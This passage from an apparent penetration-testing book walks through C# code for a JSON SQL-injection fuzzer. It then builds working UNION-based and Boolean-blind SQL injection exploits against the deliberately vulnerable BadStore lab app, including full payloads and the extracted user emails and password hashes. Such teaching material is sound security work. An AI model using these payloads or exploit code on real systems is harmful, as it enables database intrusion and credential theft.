Next, we store the old value in the oldVal variable ❺ so that we can replace it once we have fuzzed the current key/value pair. After storing the old value, we reassign the current value ❻ with the original value, but with an apostrophe tacked on the end of the value so that if it is placed in a SQL query, it should cause a parsing exception.

To determine whether the altered value will cause an error in the web application, we pass the altered JSON and the URL to send it to the Fuzz() method ❼ (discussed next), which returns a Boolean value that tells us whether the JSON value could be vulnerable to SQL injection. If Fuzz() returns true, we inform the user that the value may be vulnerable to SQL injection. If Fuzz() returns false, we tell the user that the key does not seem vulnerable.

Once we have determined whether a value is vulnerable to SQL injec- tion, we replace the altered JSON value with the original value ❽ and go on to the next key/value pair.

Fuzzing with an HTTP Request Finally, we need to make the actual HTTP requests with the tainted JSON values and read the response back from the server in order to determine whether the value might be injectable. Listing 2-23 shows how the Fuzz() method creates an HTTP request and tests the response for specific strings to determine if the JSON value is susceptible to a SQL injection vulnerability.

```
private static bool Fuzz(string url, JToken obj) {
byte[] data = System.Text.Encoding.ASCII.❶GetBytes(obj.❷ToString());
HttpWebRequest req = (HttpWebRequest)❸WebRequest.Create(url); req.Method = "POST"; req.ContentLength = data.Length;
req.ContentType = "application/javascript";
```

```
using (Stream stream = req.❹GetRequestStream())
stream.❺Write(data, 0, data.Length);
try {
req.❻GetResponse(); } catch (WebException e) {
string resp = string.Empty; using (StreamReader r = new StreamReader(e.Response.❼GetResponseStream()))
resp = r.❽ReadToEnd();
return (resp.❾Contains("syntax error") || resp.❿Contains("unterminated")); }

return false; }
```

Listing 2-23: The Fuzz() method, which does the actual communication with the server

Because we need to send the whole JSON string as bytes, we pass the string version of our JObject returned by ToString() ❷ to the GetBytes() ❶ method, which returns a byte array representing the JSON string. We also build the initial HTTP request to be made by calling the static Create() method ❸ from the WebRequest class to create a new WebRequest, casting the resulting object to an HttpWebRequest class. Next, we assign the HTTP method, the content length, and the content type of the request. We assign the Method property a value of POST because the default is GET, and we assign the length of our byte array that we will be sending to the ContentLength property. Finally, we assign application/javascript to the ContentType to ensure the web server knows that the data it is receiving should be well-formed JSON.

Now we write our JSON data to the request stream. We call the GetRequestStream() method ❹ and assign the stream returned to a variable in the context of a using statement so that our stream is disposed of properly after use. We then call the stream's Write() method ❺, which takes three arguments: the byte array containing our JSON data, the index of the array we want to begin writing from, and the number of bytes we want to write. (Because we want to write all of them, we pass in the entire length of the data array.)

To get the response back from the server, we create a try block so that we can catch any exceptions and retrieve their responses. We call GetResponse() ❻ within the try block to attempt to retrieve a response from the server, but we only care about responses with HTTP return codes of 500 or higher, which would cause GetResponse() to throw an exception.

In order to catch these responses, we follow the try block with a catch block in which we call GetResponseStream() ❼ and create a new StreamReader from the stream returned. Using the stream's ReadToEnd() method ❽, we store the server's response in the string variable resp (declared before the try block started).

To determine whether the value sent may have caused a SQL error, we test the response for one of two known strings that appear in SQL errors. The first string, "syntax error" ❾, is a general string that is present in the MySQL error, as shown in Listing 2-24.

```
ERROR: 42601: syntax error at or near &quot;dsa&quot;
```

Listing 2-24: Sample MySQL error message containing syntax error

The second string, "unterminated" ❿, appears in a specific MySQL error when a string is not terminated, as in Listing 2-25.

```
ERROR: 42601: unterminated quoted string at or near "'); "
```

Listing 2-25: Sample MySQL error message containing unterminated

The appearance of either error message could mean a SQL injection vulnerability exists within an application. If the response from an error returned contains either string, we return a value of true to the calling method, which means we think the application is vulnerable. Otherwise, we return false.

Testing the JSON Fuzzer

Having completed the three methods required to fuzz the HTTP JSON request, we can test the Create User HTTP request, as shown in Listing 2-26.

```
$ fuzzer.exe http://192.168.1.56/Vulnerable.ashx /Users/bperry/req_vulnjson Fuzzing POST requests to URL
http://192.168.1.13/Vulnerable.ashx Fuzzing key: username SQL injection vector: username Fuzzing key: password SQL injection
vector: password Fuzzing key: age❶ Converting int type to string to fuzz SQL injection vector: age Fuzzing key: line1 SQL injection
vector: line1 Fuzzing key: line2 SQL injection vector: line2 Fuzzing key: city SQL injection vector: city Fuzzing key: state SQL
injection vector: state Fuzzing key: zip❷ Converting int type to string to fuzz SQL injection vector: zip Fuzzing key: first first does not
seem vulnerable. Fuzzing key: middle middle does not seem vulnerable. Fuzzing key: last last does not seem vulnerable.
```

```
Fuzzing key: method❸ method does not seem vulnerable.
```

Listing 2-26: The output from running the JSON fuzzer against the CsharpVulnJson application

Running the fuzzer on the Create User request should show that most parameters are vulnerable to a SQL injection attack (the lines beginning with SQL injection vector), except for the method JSON key ❸ used by the web application to determine which operation to complete. Notice that even the age ❶ and zip ❷ parameters, originally integers in the JSON, are vulnerable if they are converted to a string when tested.

exploiting SQL injections

Finding possible SQL injections is only half the job of a penetration tes- ter; exploiting them is the more important and more difficult half. Earlier in the chapter, we used a URL from BadStore to fuzz HTTP query string parameters, one of which was a vulnerable query string parameter called searchquery (refer back to Listing 2-13 on page 25). The URL query string parameter searchquery is vulnerable to two types of SQL injection tech- niques. Both injection types (boolean based and UNION based) are incredibly useful to understand, so I'll describe writing exploits for both types using the same vulnerable BadStore URL.

The UNION technique is the easier one to use when exploiting SQL injec- tions. It's possible to use a UNION in SELECT query injections when you're able to control the end of the SQL query. An attacker who can append a UNION statement to the end of a SELECT statement can return more rows of data to the web application than originally intended by the programmer.

One of the trickiest parts of figuring out a UNION injection lies in balanc- ing the columns. In essence, you must balance the same number of columns with the UNION clause as the original SELECT statement returns from the data- base. Another challenge lies in being able to programmatically tell where your injected results appear in the response from the web server.

Performing a UNION-Based Exploit by Hand

Using UNION-based SQL injections is the fastest way to retrieve data from a database. In order to retrieve attacker-controlled data from the database with this technique, we must build a payload that retrieves the same num- ber of columns as the original SQL query in the web application. Once we can balance the columns, we need to be able to programmatically find the data from the database in the HTTP response.

When an attempt is made to balance the columns in a UNION-injectable SQL injection and the columns don't balance, the error generally returned by the web application using MySQL is similar to that shown in Listing 2-27.

```
The used SELECT statements have a different number of columns...
```

Listing 2-27: Sample MySQL error when SELECT queries on the left and right of UNION aren't balanced

Let's take the vulnerable line of code in the BadStore web applica- tion (badstore.cgi, line 203) and see how many columns it is selecting (see Listing 2-28).

```
$sql="SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '$squery' IN (itemnum,sdesc,ldesc)";
```

Listing 2-28: Vulnerable line in the BadStore web application selecting four columns

Balancing SELECT statements takes a bit of testing, but I know from read- ing the source code of BadStore that this particular SELECT query returns four columns. When passing in the payload with spaces that are URL- encoded as plus signs, as shown in Listing 2-29, we find the word hacked returned as a row in the search results.

```
searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, 'hacked', NULL%23
```

Listing 2-29: Properly balanced SQL injection that brings the word hacked back from the database

When the searchquery value in this payload is passed to the application, the searchquery variable is used directly in the SQL query sent to the data- base, and we turn the original SQL query (Listing 2-28) into a new SQL query not intended by the original programmer, as shown in Listing 2-30.

```
SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'fdas' UNION ALL SELECT NULL, NULL, 'hacked', NULL❶# ' IN
(itemnum,sdesc,ldesc)
```

Listing 2-30: Full SQL query with the payload appended that returns the word hacked

We use a hash mark ❶ to truncate the original SQL query, turning any SQL code following our payload into a comment that will not be run by MySQL. Now, any extra data (the word hacked in this case) that we want returned in the web server's response should be in the third column of the UNION.

Humans can determine fairly easily where the data returned by the payload shows up in the web page after exploitation. A computer, how- ever, needs to be told where to look for any data brought back from a SQL injection exploit. It can be difficult to programmatically detect where the attacker-controlled data is in the server response. To make this easier, we can use the CONCAT SQL function to surround the data we actually care about with known markers, as in Listing 2-31.

```
searchquery=fdsa'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x71766a7a71,'hacked',0x716b626b71), NULL#
```

Listing 2-31: Sample payload for the searchquery parameter that returns the word hacked

The payload in Listing 2-31 uses hexadecimal values to add data to the left and right of the extra value hacked we select with our payload. If the payload is echoed back in the HTML from the web application, a regular expression won't accidentally match the original payload. In this example, 0x71766a7a71 is *qvjzq* and 0x716b626b71 is *qkbkq*. If the injection works, the response should contain qvjzqhackedqkbkq. If the injection doesn't work, and the search results are echoed back as is, a regular expression such as qvjzq(.*)qkbkq would not match the hexadecimal values in the original payload. The MySQL CONCAT() function is a handy way to ensure that our exploit will grab the correct data from the web server response.

Listing 2-32 shows a more useful example. Here, we can replace the CONCAT() function from the previous payload to return the current database, surrounded by the known left and right markers.

```
CONCAT(0x7176627a71, DATABASE(), 0x71766b7671)
```

Listing 2-32: Sample payload that returns the current database name

The result of the injection on the BadStore search function should be qvbzqbadstoredbqvkvq. A regular expression such as qvbzq(.*)qvkvq should return the value of badstoredb, the name of the current database.

Now that we know how to efficiently get the values out of the data- base, we can begin siphoning data out of the current database using the UNION injection. One particularly useful table in most web applications is the users table. As you can see in Listing 2-33, we can easily use the UNION injection technique described earlier to enumerate the users and their password hashes from the users table (called userdb) with a single request and payload.

```
searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x716b717671, email, 0x776872786573,
passwd,0x71767a7a71), NULL+FROM+badstoredb.userdb#
```

Listing 2-33: This payload pulls the emails and passwords from the BadStore database separated by left, middle, and right markers.

The results should show up on the web page in the item table if the injection is successful.

Performing a UNION-Based Exploit Programmatically

Now let's look at how we can perform this exploit programmatically using some C# and the HTTP classes. By putting the payload shown in Listing 2-33 in the searchquery parameter, we should see an item table in the web page with usernames and password hashes instead of any real items. All we need to do is make a single HTTP request and then use a regular expression to pull the emails and password hashes between the markers from the HTTP server's response.

Creating the Markers to Find the Usernames and Passwords

First, we need to create the markers for the regular expression, as shown in Listing 2-34. These markers will be used to delineate the values brought back from the database during the SQL injection. We want to use random- looking strings not likely to be found in the HTML source code so that our regular expression will only grab the usernames and password hashes we want from the HTML returned in the HTTP response.

```
string frontMarker = ❶"FrOnTMaRker"; string middleMarker = ❷"mIdDlEMaRker"; string endMarker = ❸"eNdMaRker"; string frontHex = string.❹Join("", frontMarker.❺Select(c => ((int)c).ToString("X2"))); string middleHex = string.Join("", middleMarker.Select(c => ((int)c).ToString("X2"))); string endHex = string.Join("", endMarker.Select(c => ((int)c).ToString("X2")));
```

Listing 2-34: Creating the markers to be used in the UNION-based SQL injection payload

To start things off, we create three strings to be used as the front ❶, middle ❷, and end ❸ markers. These will be used to find and separate the usernames and passwords we pulled from the database in the HTTP response. We also need to create the hexadecimal representations of the markers that will go in the payload. To do this, each marker needs to be processed a little bit.

We use the LINQ method Select() ❺ to iterate over each character in the marker string, convert each character into its hexadecimal representa- tion, and return an array of the data processed. In this case, it returns an array of 2-byte strings, each of which is the hexadecimal representation of a character in the original marker.

In order to create a full hexadecimal string from this array, we use the Join() method ❹ to join each element in the array, creating a hexadecimal string representing each marker.

Building the URL with the Payload Now we need to build the URL and the payload to make the HTTP request, as shown in Listing 2-35.

```
string url = ❶"http://" + ❷args[0] + "/cgi-bin/badstore.cgi";
string payload = "fdsa' UNION ALL SELECT"; payload += " NULL, NULL, NULL, CONCAT(0x"+frontHex+", IFNULL(CAST(email AS"; payload += " CHAR), 0x20),0x"+middleHex+", IFNULL(CAST(passwd AS"; payload += " CHAR), 0x20), 0x"+endHex+") FROM badstoredb.userdb# ";
url += ❸"?searchquery=" + Uri.❹EscapeUriString(payload) + "&action=search";
```

Listing 2-35: Building the URL with the payload in the Main() method of the exploit

We create the URL ❶ to make the request using the first argument ❷ passed to the exploit: an IP address of the BadStore instance. Once the base URL is created, we create the payload to be used to return the usernames and password hashes from the database, including the three hexadecimal strings we made of the markers to separate the usernames from the pass- words. As stated earlier, we encode the markers in hexadecimal to ensure that, in case the markers are echoed back without the data we want, our regu- lar expression won't accidentally match them and return junk data. Finally, we combine the payload and the URL ❸ by appending the vulnerable query string parameters with the payload on the base URL. To ensure that the pay- load doesn't contain any characters unique to the HTTP protocol, we pass the payload to EscapeUriString() ❹ before inserting it into the query string.

Making the HTTP Request We are now ready to make the request and receive the HTTP response con- taining the usernames and password hashes that were pulled from the data- base with the SQL injection payload (see Listing 2-36).

```
HttpWebRequest request = (HttpWebRequest)WebRequest.❶Create(url); string response = string.Empty; using (StreamReader reader = ❷new StreamReader(request.GetResponse().GetResponseStream()))
response = reader.❸ReadToEnd();
```

Listing 2-36: Creating the HTTP request and reading the response from the server

We create a basic GET request by creating a new HttpWebRequest ❶ with the URL we built previously containing the SQL injection payload. We then declare a string to hold our response, assigning it an empty string by default. Within the context of a using statement, we instantiate a StreamReader ❷ and read the response ❸ into our response string.

Now that we have the response from the server, we can create a regular expression using our markers to find the usernames and passwords within the HTTP response, as Listing 2-37 shows.

```
Regex payloadRegex = ❶new Regex(frontMarker + "(.*?)" + middleMarker + "(.*?)" + endMarker); MatchCollection matches = payloadRegex.❷Matches(response); foreach (Match match in matches) {
Console.❸WriteLine("Username: " + match.❹Groups [1].Value + "\t "); Console.Write("Password hash: " +
match.❺Groups[2].Value); } }
```

Listing 2-37: Matching the server response against the regular expression to pull out database values

Here, we find and print the values retrieved with the SQL injection from the HTTP response. We first use the Regex class ❶ (in the namespace System.Text.RegularExpressions) to create a regular expression. This regular expression contains two *expression groups* that capture the username and password hash from a match, using the front, middle, and end markers defined previously. We then call the Matches() method ❷ on the regular expression, passing the response data as an argument to Matches(). The Matches() method returns a MatchCollection object, which we can iterate over using a foreach loop to retrieve each string in the response that matches the regular expression created earlier using our markers.

As we iterate over each expression match, we print the username and password hash. Using the WriteLine() method ❸ to print the values, we build a string using the expression group captures for the usernames ❹ and the passwords ❺, which are stored the Groups property of the expression match.

Running the exploit should result in the printout shown in Listing 2-38.

```
Username: AAA_Test_User Password hash: 098F6BCD4621D373CADE4E832627B4F6 Username: admin Password hash: 5EBE2294ECD0E0F08EAB7690D2A6EE69 Username: joe@supplier.com Password hash: 62072d95acb588c7ee9d6fa0c6c85155 Username: big@spender.com Password hash: 9726255eec083aa56dc0449a21b33190 --snip-- Username: tommy@customer.net Password hash: 7f43c1e438dc11a93d19616549d4b701
```

Listing 2-38: Sample output from the UNION-based exploit

As you can see, with a single request we were able to extract all the user- names and password hashes from the userdb table in the BadStore MySQL database using a UNION SQL injection.

Exploiting Boolean-Blind SQL Vulnerabilities

A *blind SQL injection*, also known as a *Boolean-based blind SQL injection*, is one in which an attacker doesn't get direct information from a database but can extract information indirectly from the database, generally 1 byte at a time, by asking true-or-false questions.

How Blind SQL Injections Work

Blind SQL injections require a bit more code than UNION exploits in order to efficiently exploit a SQL injection vulnerability, and they take much more time to complete because so many HTTP requests are required. They are also far noisier on the server's side than something like the UNION exploit and may leave much more evidence in logs.

When performing a blind SQL injection, you get no direct feedback from the web application; you rely instead on metadata, such as behavior changes, in order to glean information from a database. For instance, by using the RLIKE MySQL keyword to match values in the database with a reg- ular expression, as shown in Listing 2-39, we can cause an error to display in BadStore.

```
searchquery=fdsa'+RLIKE+0x28+AND+'
```

Listing 2-39: Sample RLIKE blind SQL injection payload that causes an error in BadStore

When passed to BadStore, RLIKE will attempt to parse the hexadecimal- encoded string as a regular expression, causing an error (see Listing 2-40) because the string passed is a special character in regular expressions. The open parenthesis [( ] character (0x28 in hexadecimal) denotes the begin- ning of an expression group, which we also used to match usernames and password hashes in the UNION exploit. The open parenthesis character must have a corresponding close parenthesis [ )] character; otherwise, the syn- tax for the regular expression will be invalid.

```
Got error 'parentheses not balanced' from regexp
```

Listing 2-40: Error from RLIKE when an invalid regular expression is passed in

The parentheses are not balanced because a close parenthesis is miss- ing. Now we know that we can reliably control the behavior of BadStore using true and false SQL queries to cause it to error.

Using RLIKE to Create True and False Responses

We can use a CASE statement in MySQL (which behaves like a case state- ment in C-like languages) to deterministically select a good or bad regu- lar expression for RLIKE to parse. For example, Listing 2-41 returns a true response.

```
searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+(1=1❶)+THEN+0x28+ELSE+0x41+END))+AND+'
```

Listing 2-41: An RLIKE blind payload that should return a true response

The CASE statement first determines whether 1=1 ❶ is true. Because this equation is true, 0x28 is returned as the regular expression that RLIKE will try to parse, but because (is not a valid regular expression, an error should be thrown by the web application. If we manipulate the CASE criteria of 1=1 (which evaluates to true) to be 1=2, the web application no longer throws an error. Because 1=2 evaluates to false, 0x41 (an uppercase *A* in hexadecimal) is returned to be parsed by RLIKE and does not cause a parsing error.

By asking true-or-false questions (*does this equal that?*) of the web appli- cation, we can determine how it behaves and then, based on that behavior, determine whether the answer to our question was true or false.

Using the RLIKE Keyword to Match Search Criteria The payload in Listing 2-42 for the searchquery parameter should return a true response (an error) because the length of the number of rows in the userdb table is greater than 1.

```
searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+((SELECT+LENGTH(IFNULL(CAST(COUNT(*)
+AS+CHAR),0x20))+FROM+userdb)=1❶)+THEN+0x41+ELSE+0x28+END))+AND+'
```

Listing 2-42: Sample Boolean-based SQL injection payload for the searchquery parameter

Using the RLIKE and CASE statements, we check whether the length of the count of the BadStore userdb is equal to 1. The COUNT(*) statement returns an integer, which is the number of rows in a table. We can use this number to significantly reduce the number of requests needed to finish an attack.

If we modify the payload to determine whether the length of the num- ber of rows is equal to 2 instead of 1 ❶, the server should return a true response that contains an error that says "parentheses not balanced." For example, say BadStore has 999 users in the userdb table. Although you might expect that we'd need to send at least 1,000 requests to determine whether the number returned by COUNT(*) was greater than 999, we can brute-force each individual digit (each instance of 9) much faster than we could the whole number (999). The length of the number 999 is three, since 999 is three characters long. If, instead of brute-forcing the whole number 999, we brute-force the first, second, and then third digits individually, we would have the whole number 999 brute-forced in just 30 requests—up to 10 requests per single number.

Determining and Printing the Number of Rows in the userdb Table To make this a bit more clear, let's write a Main() method to determine how many rows are contained in the userdb table. With the for loop shown in Listing 2-43, we determine the length of the number of rows contained in the userdb table.

```
int countLength = 1; for (;;countLength++) {
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT"; getCountLength += "
LENGTH(IFNULL(CAST(COUNT(*) AS CHAR),0x20)) FROM"; getCountLength += " userdb)="+countLength+") THEN 0x28 ELSE
0x41 END))"; getCountLength += " AND 'LeSo'='LeSo";
string response = MakeRequest(getCountLength); if (response.Contains("parentheses not balanced"))

break; }
```

Listing 2-43: The for loop retrieving the length of the database count of the user database

We begin with a countLength of zero and then increment countLength by 1 each time through the loop, checking whether the response to the request contains the true string "parentheses not balanced". If so, we break out of the for loop with the correct countLength, which should be 23.

Then we ask the server for the number of rows contained in the userdb table, as shown in Listing 2-44.

```
List<byte> countBytes = new List<byte>(); for (int i = 1; i <= countLength; i++) {
for (int c = 48; c <= 58; c++) {
```

```
string getCount = "fdsa' RLIKE (SELECT (CASE WHEN (❶ORD(❷MID((SELECT"; getCount += " IFNULL(CAST(COUNT(*) AS
CHAR), 0x20) FROM userdb)❸,"; getCount += i❹+ ", 1❺))="+c❻+") THEN 0x28 ELSE 0x41 END)) AND '"; string response =
MakeRequest (getCount);
if (response.❼Contains("parentheses not balanced")) {

countBytes.❽Add((byte)c); break; } } }
```

Listing 2-44: Retrieving the number of rows in the userdb table

The SQL payload used in Listing 2-44 is a bit different from the pre- vious SQL payloads used to retrieve the count.

We use the ORD() ❶ and MID() ❷ SQL functions.
The ORD() function converts a given input into an integer, and the MID() function returns a particular substring, based on a starting index and length to return. By using both functions, we can select one character at a time from a string returned by a SELECT statement and convert it to an integer. This allows us to compare the integer representation of the byte in the string to to the character value we are testing for in the current interation.
The MID() function takes three arguments: the string you are select- ing a substring from ❸; the starting index (which is 1 based, not 0 based, as you might expect) ❹; and the length of the substring to select ❺. Notice that the second argument ❹ to MID() is dictated by the current iteration of the outermost for loop, where we increment i up to the count length deter- mined in the previous for loop. This argument selects the next character in the string to test as we iterate and increment it. The inner for loop iterates over the integer equivalents of the ASCII characters 0 through 9. Because we're only attempting to get the row count in the database, we only care about numerical characters.
Both the i ❹ and c ❻ variables are used in the SQL payload during the Boolean injection attack. The variable i is used as the second argument in the MID() function, dictating the character position in the database value we will test. The variable c is the integer we are comparing the result of ORD() to, which converts the character returned by MID() to an integer. This allows us to iterate over each character in a given value in the database and brute- force the character using true-or-false questions.
When the payload returns the error "parentheses not balanced" ❼, we know that the character at index i equals the integer c of the inner loop. We then cast c to a byte and add it to a List<byte> ❽ instantiated before looping. Finally, we break out of the inner loop to iterate through the outer loop and, once the for loops have completed, we convert the List<byte> into a printable string.
This string is then printed to the screen, as shown in Listing 2-45.

```
int count = int.Parse(Encoding.ASCII.❶GetString(countBytes.ToArray())); Console.WriteLine("There are "+count+" rows in the userdb table");
```

Listing 2-45: Converting the string retrieved by the SQL injection and printing the number of rows in the table

We use the GetString() method ❶ (from the Encoding.ASCII class) to convert the array of bytes returned by countBytes.ToArray() into a human- readable string. This string is then passed to int.Parse(), which parses it and returns an integer (if the string can be converted to an integer). The string is then printed using Console.WriteLine().

The MakeRequest() Method We're just about ready to run our exploit, save for one more thing: we need a way to send payloads within the for loops. To do so, we need to write the MakeRequest() method, which takes a single argument: the payload to send (see Listing 2-46).

```
private static string MakeRequest(string payload) {
string url = ❶"http://192.168.1.78/cgi-bin/badstore.cgi?action=search&searchquery="; HttpWebRequest request = (HttpWebRequest)WebRequest.❷Create(url+payload);
string response = string.Empty; using (StreamReader reader = new ❸StreamReader(request.GetResponse().GetResponseStream()))
response = reader.ReadToEnd();

return response; }
```

Listing 2-46: The MakeRequest() method sending the payload and returning the server's response

We create a basic GET HttpWebRequest ❷ using the payload and URL ❶ to the BadStore instance. Then, using a StreamReader ❸, we read the response into a string and return the response to the caller. Now we run the exploit and should receive something like the output shown in Listing 2-47.

```
There are 23 rows in the userdb table
```

Listing 2-47: Determining the number of rows in the userdb table

After running the first piece of our exploit, we see we have 23 users to pull usernames and password hashes for. The next piece of the exploit will pull out the actual usernames and password hashes.

Retrieving the Lengths of the Values Before we can pull any values from the columns in the database, byte by byte, we need to get the lengths of the values. Listing 2-48 shows how this can be done.

```
private static int GetLength(int row❶, string column❷) {
int countLength = 0; for (;; countLength++) {
```

```
string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT"; getCountLength += "
LENGTH(IFNULL(CAST(❸CHAR_LENGTH("+column+") AS"; getCountLength += " CHAR),0x20)) FROM userdb ORDER BY
email ❹LIMIT"; getCountLength += row+",1)="+countLength+") THEN 0x28 ELSE 0x41 END)) AND"; getCountLength += "
'YIye'='YIye";
string response = MakeRequest(getCountLength);
if (response.Contains("parentheses not balanced"))
break; }
```

Listing 2-48: Retrieving the length of certain values in the database

The GetLength() method takes two arguments: the database row to pull the value from ❶ and the database column in which the value will reside ❷. We use a for loop (see Listing 2-49) to gather the length of the rows in the userdb table. But unlike in the previous SQL payloads, we use the function CHAR_LENGTH() ❸ instead of LENGTH because the strings being pulled could be 16-bit Unicode instead of 8-bit ASCII. We also use a LIMIT clause ❹ to specify that we want to pull the value from a specific row returned from the full users table. After retrieving the length of the value in the database, we can retrieve the actual value a byte at a time, as shown in Listing 2-49.

```
List<byte> countBytes = ❶new List<byte> (); for (int i = 0; i <= countLength; i++) {
for (int c = 48; c <= 58; c++) {
string getLength = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT"; getLength += "
IFNULL(CAST(CHAR_LENGTH(" + column + ") AS CHAR),0x20) FROM"; getLength += " userdb ORDER BY email LIMIT " +
row + ",1)," + i; getLength += ",1))="+c+") THEN 0x28 ELSE 0x41 END)) AND 'YIye'='YIye"; string response =
❷MakeRequest(getLength); if (response.❸Contains("parentheses not balanced")) {
countBytes.❹Add((byte)c); break; } } }
```

Listing 2-49: The second loop within the GetLength() method retrieving the actual length of the value

As you can see in Listing 2-49, we create a generic List<byte> ❶ to store the values gleaned by the payloads so that we can convert them into integers and return them to the caller. As we iterate over the length of the count, we send HTTP requests to test the bytes in the value using MakeRequest() ❷ and the SQL injection payload. If the response contains the "parentheses not balanced" error ❸, we know our SQL payload evaluated to true. This means we need to store the value of c (the character that was determined to match i) as a byte ❹ so that we can convert the List<byte> to a human-readable string. Since we found the current character, we don't need to test the given index of the count anymore, so we break to move on to the next index.

Now we need to return the count and finish the method, as shown in Listing 2-50.

```
if (countBytes.Count > 0)
return ❶int.Parse(Encoding.ASCII.❷GetString(countBytes.ToArray())); else
return 0; }
```

Listing 2-50: The final line in the GetLength() method, converting the value for the length into an integer and returning it

Once we have the bytes of the count, we can use GetString() ❷ to con- vert the bytes gathered into a human-readable string. This string is passed to int.Parse() ❶ and returned to the caller so that we can begin gathering the actual values from the database.

Writing GetValue() to Retrieve a Given Value We finish this exploit with the GetValue() method, as shown in Listing 2-51.

```
private static string GetValue(int row❶, string column❷, int length❸) {
List<byte> valBytes = ❹new List<byte>(); for (int i = 0; i <= length; i++) { ❺for(int c = 32; c <= 126; c++)
{
string getChar = "fdsa' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT"; getChar += " IFNULL(CAST("+column+" AS
CHAR),0x20) FROM userdb ORDER BY"; getChar += " email LIMIT "+row+",1),"+i+",1))="+c+") THEN 0x28 ELSE 0x41"; getChar
+= " END)) AND 'YIye'='YIye"; string response = MakeRequest(getChar);
if (response.Contains(❻"parentheses not balanced")) {
valBytes.Add((byte)c); break; } } } return Encoding.ASCII.❼GetString(valBytes.ToArray()); }
```

Listing 2-51: The GetValue() method, which will retrieve the value of a given column at a given row

The GetValue() method requires three arguments: the database row we are pulling the data from ❶, the database column in which the value resides ❷, and the length of the value to be gleaned from the database ❸. A new List<byte> ❹ is instantiated to store the bytes of the value gathered.

In the innermost for loop ❺, we iterate from 32 to 126 because 32 is the lowest integer that corresponds to a printable ASCII character, and 126 is the highest. Earlier when retrieving the counts, we only iterated from 48 to 58 because we were only concerned with the numerical ASCII character.

As we iterate through these values, we send a payload comparing the current index of the value in the database to the current value of the itera- tion of the inner for loop. When the response is returned, we look for the error "parentheses not balanced" ❻ and, if it is found, cast the value of the current inner iteration to a byte and store it in the list of bytes. The last line of the method converts this list to a string using GetString() ❼ and returns the new string to the caller.

Calling the Methods and Printing the Values All that is left now is to call the new methods GetLength() and GetValue() in our Main() method and to print the values gleaned from the database. As shown in Listing 2-52, we add the for loop that calls the GetLength() and GetValue() methods to the end of our Main() method so that we can extract the email addresses and password hashes from the database.

```
for (int row = 0; row < count; row++) {
foreach (string column in new string[] {"email", "passwd"}) {
Console.Write("Getting length of query value... "); int valLength = ❶GetLength(row, column); Console.WriteLine(valLength);

Console.Write("Getting value... "); string value = ❷GetValue(row, column, valLength); Console.WriteLine(value); } }
```

Listing 2-52: The for loop added to the Main() method, which consumes the GetLength() and GetValue() methods

For each row in the userdb table, we first get the length ❶ and value ❷ of the email field and then the value of the passwd field (an MD5 hash of the user's password). Next, we print the length of the field and its value, with results like those shown in Listing 2-53.

```
There are 23 rows in the userdb table Getting length of query value... 13 Getting value... AAA_Test_User Getting length of query value... 32 Getting value... 098F6BCD4621D373CADE4E832627B4F6
Getting length of query value... 5 Getting value... admin Getting length of query value... 32 Getting value...
5EBE2294ECD0E0F08EAB7690D2A6EE69 --snip-- Getting length of query value... 18 Getting value... tommy@customer.net Getting length of query value... 32 Getting value... 7f43c1e438dc11a93d19616549d4b701
```

Listing 2-53: The results of our exploit

After enumerating the number of users in the database, we iterate over each user and pull the username and password hash out of the database. This process is much slower than the UNION we performed above, but UNION injections are not always available. Understanding how a Boolean-based attack works when exploiting SQL injections is crucial to effectively exploit- ing many SQL injections.

Conclusion

This chapter has introduced you to fuzzing for and exploiting XSS and SQL injection vulnerabilities. As you've seen, BadStore contains numerous SQL injection, XSS, and other vulnerabilities, all of which are exploitable in slightly different ways. In the chapter, we implemented a small GET request fuzzing application to search query string parameters for XSS or errors that could mean a SQL injection vulnerability exists. Using the power- ful and flexible HttpWebRequest class to make and retrieve HTTP requests and responses, we were able to determine that the searchquery parameter, when searching for items in BadStore, is vulnerable to both XSS and SQL injection.

Once we wrote a simple GET request fuzzer, we captured an HTTP POST request from BadStore using the Burp Suite HTTP proxy and Firefox in order to write a small fuzzing application for POST requests. Using the same classes as those in the previous GET requests fuzzer, but with some new methods, we were able to find even more SQL injection vulnerabilities that could be exploitable.

Next, we moved on to more complicated requests, such as HTTP requests with JSON. Using a vulnerable JSON web application, we cap- tured a request used to create new users on the web app using Burp Suite. In order to efficiently fuzz this type of HTTP request, we introduced the Json.NET library, which makes it easy to parse and consume

JSON data. Finally, once you had a good grasp on how fuzzers can find possible vulnerabilities in web applications, you learned how to exploit them. Using BadStore again, we wrote a UNION-based SQL injection exploit that could pull out the usernames and password hashes in the BadStore database with a single HTTP request. In order to efficiently pull the extracted data out of the HTML returned by the server, we used the regular expression classes Regex, Match, and MatchCollection.

Once the simpler UNION exploit was complete, we wrote a Boolean-based blind SQL injection on the same HTTP request. Using the HttpWebRequest class, we determined which of the HTTP responses were true or false, based on SQL injection payloads passed to the web application. When we knew how the web application would behave in response to true-or-false questions, we began asking the database true-or-false questions in order to glean information from it 1 byte at a time. The Boolean-based blind exploit is more complicated than the UNION exploit and requires more time and HTTP requests to complete, but it is particularly useful when a UNION isn't possible.

3

fuzzinG SoaP enDPointS

As a penetration tester, you may run into applications or servers that offer program- matic API access via SOAP endpoints. SOAP, or Simple Object Access Protocol, is a common enterprise technology that enables language-agnostic access to programming APIs. Generally speaking, SOAP is used over the HTTP protocol, and it uses XML to organize the data sent to and from the SOAP server. The Web Service Description Language (WSDL) describes the methods and functionality exposed through SOAP endpoints. By default, SOAP endpoints expose WSDL XML documents that clients can easily parse so that they can interface with the SOAP endpoints, and C# has several classes that make this possible.

This chapter builds on your knowledge of how to programmatically craft HTTP requests to detect XSS and SQL injection vulnerabilities, except that it focuses on SOAP XML instead. This chapter also shows you how to write a small fuzzer to download and parse the WSDL file exposed by a SOAP endpoint and then use the information in the WSDL file to gen- erate HTTP requests for the SOAP service. Ultimately, you'll be able to sys- tematically and automatically look for possible SQL injection vulnerabilities in SOAP methods.

Setting up the Vulnerable endpoint

